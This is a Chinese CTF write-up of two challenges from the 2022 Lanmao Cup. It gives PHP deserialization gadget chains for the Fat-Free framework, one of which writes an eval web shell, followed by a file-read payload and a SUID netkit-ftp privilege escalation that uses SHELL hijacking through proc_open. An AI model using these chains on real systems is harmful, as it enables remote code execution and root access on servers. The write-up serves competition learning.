蓝帽杯2022部分wp
[蓝帽杯2022]fatfree
一开始很快找到原题:2020国赛babyserialize
然后找到一条可以phpinfo的rce链
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"call_user_func"],
$adhoc=["phpinfo"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected
$server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;
}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}
a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22CLI%5CWS%22%3A0%3A%7B%7Di%3A1%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3Br%3A3%3Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A14%3A%22call_user_func%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bs%3A7%3A%22phpinfo%22%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A14%3A%22call_user_func%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bs%3A7%3A%22phpinfo%22%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3Bs%3A0%3A%22%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7D%7D%7D
发现disbable_function
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log,create_function
本来可以用create_function进行rce,结果被ban了,调试了一早上,企图挖掘新的利用或者绕过create_function,尝试了find方法,send方法,都无果
最后看到解题人数这么多,猜想应该是道原题,多搜索发现写shell的链子
http://cn-sec.com/archives/139257.html
最终poc
<?php
namespace DB{
class Jig {
public $format;
public $data;
public $lazy;
public $dir;
}
}
namespace {
$jig = new \DB\Jig();
$jig->format = 0;
$jig->data = array('ui/shell2.php'=>['aaa'=>'<?php eval($_POST[thai]);phpinfo();?>']);
$jig->lazy = TRUE;
$jig->dir = './';
echo urlencode(serialize($jig));
}
之后访问ip/ui/shell2.php,可以看到phpinfo
之后蚁剑连上去就行
本来想着是assert没有被禁用,读写文件没被禁用,就算被禁可以用下面类似的思路
shell.php?thai=var_dump(file_get_contents('php://filter/convert.base64-encode/resource=/flag'))
结果没用,最后直接尝试写马然后蚁剑一键绕过disable_function,结果我发现居然直接可以看到flag,????回头一看,为啥居然没禁用eval???我不理解,搞人心态!!!
[蓝帽杯2022]onelinephp
题目直接考察suid提权
很快可以找到有suid的命令行工具
(www-data:/tmp) $ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/netkit-ftp
/bin/mount
/bin/su
/bin/umount
这个netkit-ftp网上一搜可以直接看到源码mmaraya/netkit-ftp: Classic file transfer client (github.com)
当时尝试了很多常见的ftp提权的方法,缺乏互相交互的shell(靶机不出网无法反弹shell)也失败了,后面比赛快结束的时候才通过源码明白这是个客户端。
赛后看到了一篇博客:
https://blog.csdn.net/anwen12/article/details/122136806
就是搭建一个ftp服务端,然后让ftp以root权限把文件传送过来就可以了。
https://github.com/zhusaidong/FTPServer
tar -cvf ftp.tar ftpserver
chmod +x ftp.tar
tar -xvf ftp.tar
...
目前还在研究中
官方解法
从decade神手里拿到的出题笔记,pro!
首先阅读源码,cmds.c中的shell函数
说明是 环境变量 -c 参数
所以官方poc
putenv("SHELL=/usr/bin/od");
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "r")
);
$file=array();
$process = proc_open("ftp", $descriptorspec, $file);
var_dump($process);
var_dump($file);
function readln($file){
$out = "";
$a = fread($file, 1);
echo "readln";
while ($a != "}") {
$out = $out.$a;
$a = fread($file, 1);
}
return $out;
}
fputs($file[0], "! /flag\n");
sleep("2");
$data = readln($file[1]);
echo $data;
由于环境受限,只能产生一个php脚本和ftp交互。 proc_open是执行一个命令,并且打开用来输入/输出的文件指针,它的参数可以根据官方文档进行魔改。这里把shell环境变量设置为od。所以整个脚本的意思就是劫持环境变量shell为od命令,使用proc_open执行,并把它的输出流echo
由于tmp可写,所以这样也行
echo "base64编码payload" | base64 -d > 1.php